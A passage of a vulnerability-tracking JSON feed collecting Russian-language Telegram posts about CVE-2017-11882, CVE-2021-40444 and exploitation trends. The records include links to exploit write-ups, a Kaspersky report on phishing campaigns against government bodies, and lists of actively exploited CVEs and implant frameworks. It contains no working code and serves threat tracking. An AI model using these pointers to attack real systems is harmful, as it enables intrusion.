\u043a\u043e\u0440\u043e\u0442\u043a\u043e, \u0442\u043e \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MSHTML (\u0434\u0432\u0438\u0436\u043e\u043a Internet Explorer \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u0440\u0434\u0435) \u043e\u043d\u0430 \u0434\u0430\u0451\u0442 \u043d\u0430\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0435\u0440\u0442\u0432\u044b. \u0421\u0430\u043c\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u043f\u043e\u0445\u043e\u0436\u0430 \u043d\u0430 CVE-2017-11882, \u043f\u0440\u043e \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u0436\u0435 \u043f\u0438\u0441\u0430\u043b\u0438 \u043d\u0430 Codeby.\n\n\u0427\u0438\u0442\u0430\u0442\u044c: https://codeby.net/threads/vzlom-posredstvom-cve-2021-40444.78576/?amp=1\n\n#cve #word #hacking", "creation_timestamp": "2021-09-15T18:20:53.000000Z"}, {"uuid": "a8317b14-2fb0-4fef-af90-4dea84216b6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/997", "content": "https://codeby.net/forum/threads/cve-2017-11882-ili-vzlom-s-pomoschju-bezobidnogo-dokumenta.61234/", "creation_timestamp": "2017-11-26T15:22:05.000000Z"}, {"uuid": "b7340080-1374-47b8-b698-993ec64f171a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/1727", "content": "CVE-2017-11882 \u0438\u043b\u0438 \u0412\u0437\u043b\u043e\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\n\n\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0432\u0430\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435.", "creation_timestamp": "2018-08-23T12:45:46.000000Z"}, {"uuid": "e48d9cc3-82cd-4565-a00e-7dd5bd66be2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/codeby_sec/6370", "content": "\u200b\ud83e\uddd1\u200d\ud83d\udcbb \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442 \u0433\u043e\u0441\u043e\u0440\u0433\u0430\u043d\u044b \u0438 \u043e\u0431\u043e\u0440\u043e\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\n\n\u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044f \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b\u0430 \u043e \u0432\u043e\u043b\u043d\u0435 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u043e\u0431\u043e\u0440\u043e\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0410\u0444\u0433\u0430\u043d\u0438\u0441\u0442\u0430\u043d\u0430, \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0442\u0440\u0430\u043d \u0412\u043e\u0441\u0442\u043e\u0447\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u044b.\n\n\u041f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0432 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u0443\u044e \u0441\u0435\u0442\u044c \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0445\u043e\u0440\u043e\u0448\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u043d\u0435\u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b Microsoft Word, \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0432 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u0443\u043b\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0435\u0440\u0438\u0438 \u0430\u0442\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e PortDoor. \u0412 \u043d\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u0448\u0435\u0441\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 backdoor-\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u044d\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043b\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439, \u0435\u0441\u043b\u0438 \u043e\u0434\u043d\u0430 \u0438\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0430.\n\n\u0414\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u0430 Ladon \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u043c \u0434\u043b\u044f \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0442\u0438, \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u0440\u0430\u0436\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0438 \u0442.\u0434.\n\n\u0423\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u043c\u0435\u0449\u0430\u043b\u0438 \u0432 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 ZIP-\u0430\u0440\u0445\u0438\u0432\u044b. \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0430\u0440\u0445\u0438\u0432\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0432 \u041a\u0438\u0442\u0430\u0435.\n\n\ud83d\uddde \u0411\u043b\u043e\u0433 \u041a\u043e\u0434\u0435\u0431\u0430\u0439\n\n#news #kaspersky #malware", "creation_timestamp": "2022-08-08T11:24:14.000000Z"}, {"uuid": "c7be06b4-f483-4373-8b64-d0d1a8230a3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/kasperskyb2b/2103", "content": "\u2755 \u0422\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: \u041e\u0421 Linux \u0441\u0442\u0430\u043b\u0430 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0430 \n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u0445 \u0432 4 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430.  \u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u043a\u0430\u0440\u0442\u0438\u043d\u0430 \u0441\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0438 \u0448\u0438\u0440\u043e\u043a\u043e\u0437\u0430\u0445\u0432\u0430\u0442\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u043d\u043e \u0438 \u0442\u0430\u043c, \u0438 \u0442\u0430\u043c \u043d\u0435\u0441\u043a\u0443\u0447\u043d\u043e. \n\n\u041d\u0435\u0438\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438:\n\ud83d\udfe3 \u043a\u043e\u0441\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u043e\u0441\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0430 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0435 \u041e\u0421 *nix \u2014 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0432\u0441\u0435\u0445 \u0430\u0442\u0430\u043a \u0437\u0430 2025 \u0433\u043e\u0434 \u043f\u0440\u0438\u0448\u043b\u0430\u0441\u044c \u043d\u0430 4 \u043a\u0432\u0430\u0440\u0442\u0430\u043b. \u041e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043d\u043e \u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439 Linux \u0434\u043b\u044f \u0434\u0435\u0441\u043a\u0442\u043e\u043f\u043e\u0432;\n\ud83d\udfe3\u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u0440\u0435\u0432\u043d\u0438\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b Linux, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044e\u0442\u0441\u044f: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Dirty Pipe, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Netfilter. \u042d\u0442\u043e CVE-2022-0847, CVE-2019-13272, CVE-2021-22555, CVE-2023-32233;\n\ud83d\udfe3 \u0434\u043b\u044f \u041e\u0421 Windows \u0442\u0435\u043c\u043f\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0441\u043d\u0438\u0437\u0438\u043b\u0438\u0441\u044c \u0434\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u043d\u0438\u0437\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0432 2025 \u0433\u043e\u0434\u0443, \u043d\u043e \u043e\u043d\u0438 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u044e\u0442 \u043d\u0430\u0447\u0430\u043b\u043e 2024-\u0433\u043e;\n\ud83d\udfe3 \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u0443\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0440\u0435\u0432\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: CVE-2017-11882 \u0438 CVE-2018-0802 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor \u0438\u0437 \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Microsoft Office, CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad.\n\n\u041a\u0430\u043a \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445, \u0442\u0430\u043a \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445, \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0446\u0435\u043b\u044f\u0442\u0441\u044f \u0432 \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0430\u0440\u0445\u0438\u0432\u0430\u0442\u043e\u0440\u043e\u0432. \u0412 2025 \u0433\u043e\u0434\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 WinRAR (CVE-2023-38831, CVE-2025-6218 \u0438 -8088) \u0438 7-Zip (CVE-2025-11001).\n\n\u0426\u0435\u043b\u0435\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438:\n\ud83d\udfe3 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0438\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u043e\u043b\u0433\u043e\u0434\u0430;\n\ud83d\udfe3 \u0441 \u0433\u0438\u0433\u0430\u043d\u0442\u0441\u043a\u0438\u043c \u043e\u0442\u0440\u044b\u0432\u043e\u043c \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f React4shell, \u0432 \u0442\u0440\u043e\u0439\u043a\u0435 \u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u0442\u0430\u043a\u0436\u0435 CVE-2025-61882 \u0432 Oracle E-Business Suite \u0438 CVE-2025-8088 \u0432 WinRAR;\n\ud83d\udfe3 \u043c\u043d\u043e\u0433\u0438\u0435 CVE \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0437\u0430\u043a\u0440\u0435\u043f\u044f\u0442\u0441\u044f \u0432 \u0445\u0438\u0442-\u043f\u0430\u0440\u0430\u0434\u0435 \u043d\u0430\u0434\u043e\u043b\u0433\u043e, \u0434\u043b\u044f \u0438\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435;\n\ud83d\udfe3 \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Silver, Mythic, Havoc \u0438 Metasploit.\n\n\ud83d\udccc \u0412 \u043f\u043e\u043b\u043d\u043e\u043c \u043e\u0442\u0447\u0451\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 Securelist \u044d\u0442\u0438 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e, \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u044b \u0441\u0432\u044f\u0437\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 2025 \u0433\u043e\u0434\u0430. \n\n#\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-03-10T14:02:31.000000Z"}, {"uuid": "f50f9f38-a5d0-43eb-a0a8-9b02b2624d45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/true_secator/7978", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432 \u0441\u0432\u043e\u0435\u043c \u043d\u043e\u0432\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442, \u0447\u0442\u043e 4 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2025 \u0441\u0442\u0430\u043b \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043d\u0430\u0441\u044b\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0439 \u0433\u0440\u043e\u043c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u0445 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445.\n\n\u0410\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u041b\u041a \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0432 \u044d\u0442\u043e\u043c \u043f\u043b\u0430\u043d\u0435 \u041e\u0421 Linux \u0441\u0442\u0430\u043b\u0430 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0430. \u041d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u0433\u043e\u0434\u0430 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u044b \u0432\u0441\u0435\u0445 \u0430\u0442\u0430\u043a \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c\u0438 \u0434\u043b\u044f Linux \u043e\u0442 \u0441\u0443\u043c\u043c\u0430\u0440\u043d\u044b\u0445 \u0433\u043e\u0434\u043e\u0432\u044b\u0445 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u0439.\u00a0\n\n\u0412 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0442\u0430\u043a\u043e\u0433\u043e \u0432\u0441\u043f\u043b\u0435\u0441\u043a\u0430 \u0441\u0442\u0430\u043b\u043e \u0431\u044b\u0441\u0442\u0440\u043e\u0440\u0430\u0441\u0442\u0443\u0449\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Linux.\n\n\u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u043a\u0430\u0440\u0442\u0438\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0438 \u0448\u0438\u0440\u043e\u043a\u043e\u0437\u0430\u0445\u0432\u0430\u0442\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u0412 \u043e\u0431\u043e\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 - \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0430 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0430.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435\u0438\u0437\u0431\u0438\u0440\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a:\n- \u043f\u043e\u0434 \u043f\u0440\u0438\u0446\u0435\u043b\u043e\u043c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u0442\u0430\u0440\u044b\u0435 